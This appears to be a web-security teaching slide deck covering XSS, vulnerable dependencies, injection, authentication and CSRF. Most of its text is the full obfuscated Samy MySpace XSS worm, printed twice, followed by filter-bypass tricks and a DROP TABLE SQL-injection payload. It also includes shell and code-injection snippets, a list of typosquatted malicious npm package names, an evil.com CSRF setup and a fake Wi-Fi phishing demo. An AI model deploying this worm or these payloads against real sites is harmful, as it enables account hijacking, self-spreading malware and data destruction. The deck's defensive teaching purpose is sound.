Securing Modern Web Apps
- JSON web API
- Single page client side app
<div id=mycode style="BACKGROUND: url('java
script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>
<div id=mycode style="BACKGROUND: url('java
script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>
Samy Kamkar
"Privacy and security researcher"
Hacker
Only allow <a>, <img> and <div> tags
strips out the word "javascript" from ANYWHERE
<div style="background:url('javascript:alert(1)')">
<div id="mycode"
expr="alert('hah!')"
style="background:url('javascript:eval(document.all.mycode.expr)')">
<div style="background:url('java\nscript:alert(1)')">
strips out escaped quotes
alert('double quote: ' + String.fromCharCode(34))
strips out the word "innerHTML" anywhere
alert(eval('document.body.inne' + 'rHTML'));
Can't send cross origin requests (CORS)
document.location = 'http://www.myspace.com' + '...';
Cross Site Scripting (XSS)
<script>alert('XSS')</script>
render() {
const {tweets} = this.props;
return (
<div id="twitter">
{tweets.map(tweet => (
<div dangerouslySetInnerHTML={tweet} />
))}
</div>
);
}
this.d3State.nodes
.enter()
.append('circle')
.attr('class', 'visuals-documents__chart-dot')
.attr('r', d => {
return this.getRadius(d);
})
.attr('cx', d => {
return this.d3State.x(d.origX);
})
.attr('cy', d => {
return this.d3State.y(d.origY);
})
.on('mouseover', d => {
tooltip
.transition()
.duration(200)
.style('opacity', 0.9);
tooltip
.html(d.name)
.style('left', d3.event.pageX + 'px')
.style('top', d3.event.pageY - 28 + 'px');
})
.on('mouseout', d => {
tooltip
.transition()
.duration(500)
.style('opacity', 0);
})
.on('click', d => {
d3.event.stopPropagation();
setDocument(d);
})
.style('fill', d => {
const isActiveDocument = activeDocument && d.id === activeDocument.id;
return isActiveDocument ? 'FFD500' : d.color;
})
.style('fill-opacity', d => {
return d.opacity;
});
Impact of XSS
- Steal user credentials
- Steal sessions
- Deliver malware to users
- Send users to a malicious site
How to prevent XSS
- Identify features vulnerable to XSS
- Sanitize user inputs (server side)
- Use popular libraries for sanitization
- Use frameworks that take care of XSS
let App = React.createClass({
componentDidMount() {
fetch('messages')
.then((res) => res.json())
.then(messages =>
this.setState({messages}));
},
render() {
const {messages, newMessage} = this.state;
return (
<div>
<h1>React Messageboard</h1>
{messages.map(message =>
<div>{message}</div>
)}
</div>
);
}
});
{
name: "react-xss",
version: "1.0.0",
description: "",
scripts: {
start: "webpack-dev-server --hot --progress --colors",
build: "webpack --progress --colors"
},
dependencies: {
babel-loader: "^4.3.0",
react: "^0.13.3",
react-hot-loader: "^1.1.7",
webpack: "1.6.0",
webpack-dev-server: "1.8.1"
}
}
package.json
How to prevent XSS
- Identify features vulnerable to XSS
- Sanitize user inputs (server side)
- Use popular libraries for sanitization
- Use frameworks that take care of XSS
- Check for known vulnerabilities in your dependencies
Known Vulnerabilities
Known Vulnerabilities
- Keep dependencies up to date
- Sub dependencies too
- March 7th 2017: security researchers discovered a vulnerability in Apache Struts that was being actively exploited by attackers
- vulnerability allowed for remote code execution
- vulnerability allowed for remote code execution
- March 8th 2017: Apache released a patch fixing the bug
- Attackers published code anyone could use to exploit the bug
- Attackers published code anyone could use to exploit the bug
- March 9th: 2017: Equifax was blissfully unaware that they were running the vulnerable version of Struts
- April 16 2017: ...Equifax still unaware and 662 Charlie Chaplin lookalikes gathered in Switzerland, setting a world record
- Mid-May 2017: Attackers started stealing information from Equifax
- 143 million US consumers info stolen
- Names, Social Security numbers, birth dates, addresses, driver's licence numbers
- 200,000 stolen credit card numbers
- July 29 2017: Equifax realizes they were hacked
Known Vulnerabilities
- Keep dependencies up to date
- Sub dependencies too
- Scan dependencies for known vulnerabilities
- Make sure getting updates to prod is easy
patching the security hole was labor intensive and difficult, in part because it involved downloading an updated version of Struts and then using it to rebuild all apps that used older, buggy Struts versions. Some websites may depend on dozens or even hundreds of such apps, which may be scattered across dozens of servers on multiple continents. Once rebuilt, the apps must be extensively tested before going into production to ensure they don't break key functions on the site.
Known Vulnerabilities
- Keep dependencies up to date
- Sub dependencies too
- Scan dependencies for known vulnerabilities
- Make sure getting updates to prod is easy
- Keep OS, DB, web/application server and other aspects of you application up to date
- Only obtain components from official sources
babelcli
cross-env.js
crossenv
d3.js
fabric-js
ffmepg
gruntcli
http-proxy.js
jquery.js
mariadb
mongose
mssql-node
mssql.js
mysqljs
node-fabric
node-opencv
node-opensl
node-openssl
node-sqlite
node-tkinter
nodecaffe
nodefabric
nodeffmpeg
nodemailer-js
nodemailer.js
nodemssql
noderequest
nodesass
nodesqlite
opencv.js
openssl.js
proxy.js
shadowsock
smb
sqlite.js
sqliter
sqlserver
tkinter
Injection
SQL Injection
function addStudent(name) {
db.query("INSERT INTO Students VALUES ('" + name + "')");
}
addStudent("Robert'); DROP TABLE STUDENTS; --");
INSERT INTO Students VALUES ('Robert'); DROP TABLE Students; --')
Vulnerable Code
Query
const User = sequelize.define('user', {
name: Sequelize.STRING
});
function addStudent(name) {
sequelize.sync().then(() => User.create({name}))
}
addStudent("Robert'); DROP TABLE STUDENTS; --");
Safe Code
Query
INSERT INTO Students VALUES ('Robert\'); DROP TABLE Students; --')
NoSQL Injection Demo
Other Types of Injection
var path = "user input";
child_process.exec('ls -l ' + path, function (err, data) {
console.log(data);
});
Shell Injection
Regex Injection
Code Injection
let userLastName = ".*"
let family = fullNames.filter(fullName => {
return new RegExp('.* ' + userLastName).test(fullName);
})
new Function(CODE)();
setTimeout(CODE,0);
[]['filter']['constructor'](CODE);
How to prevent Injection
- Use an ORM
- Don't concatenate user input with code in a string
- Sanitize user inputs
- Use popular libraries for sanitization
Authentication
Register and sign into TrustMeBank
- Join the wifi network:
Starbucks Free Wi-Fi - Go to: https://tinyurl.com/trustmebank
- Register
- Don't use your real password
- Login
Are you Kg-Network ?
YES!!!
http://
https://
Rate Limiting
Auth Best Pratcices
- Enforce password strength
- Use https
- Rate limit failed login attempts
- Log failed login attempts
- Alert admins of strange network activity
http://5fc4eae2.ngrok.io
CSRF
www.trustmebank.com
Cookies
Domain: api.trustmebank.com
Content:
authToken=ASDF2345WERT
POST to api.trustmebank.com
Server
api.trustmebank.com
_id: 492
user: test@gmail.com
CSRF
www.evil.com
Cookies
Domain: api.trustmebank.com
Content:
authToken=ASDF2345WERT
POST to api.trustmebank.com
Server
api.trustmebank.com
_id: 492
user: test@gmail.com
CSRF Demo
CSRF (Cross Site Rob? Forgery)
www.evil.com
Cookies
Domain: api.trustmebank.com
Content:
authToken=ASDF2345WERT
POST to api.trustmebank.com
Server
api.trustmebank.com
_id: 492
user: test@gmail.com
Options
Access-Control-All-Origin: evil.com
Access-Control-Allow-Credentials: true
CSRF
www.evil.com
Cookies
Domain: api.trustmebank.com
Content:
authToken=ASDF2345WERT
HTTP Form POST to api.trustmebank.com
Server
api.trustmebank.com
_id: 492
user: test@gmail.com
api.trustmebank.com
CSRF
- Only an issue if you are using cookies
- Don't whitelist every domain
- For POST requests make the client load a token from local storage / a cookie and add it to a header
res.header('Access-Control-Allow-Origin', req.headers.origin);
Takeaways
- Get familiar with common vulnerabilities
- Keep systems up to date
- Set aside time for security reviews
- Don't use your power for evil
Thanks to
Jamie Counsell
Starbucks Hacker
Thanks to
Nick Cramero
TrustMeBank Founder
Web Security
By Rob McDiarmid
Web Security
- 1,319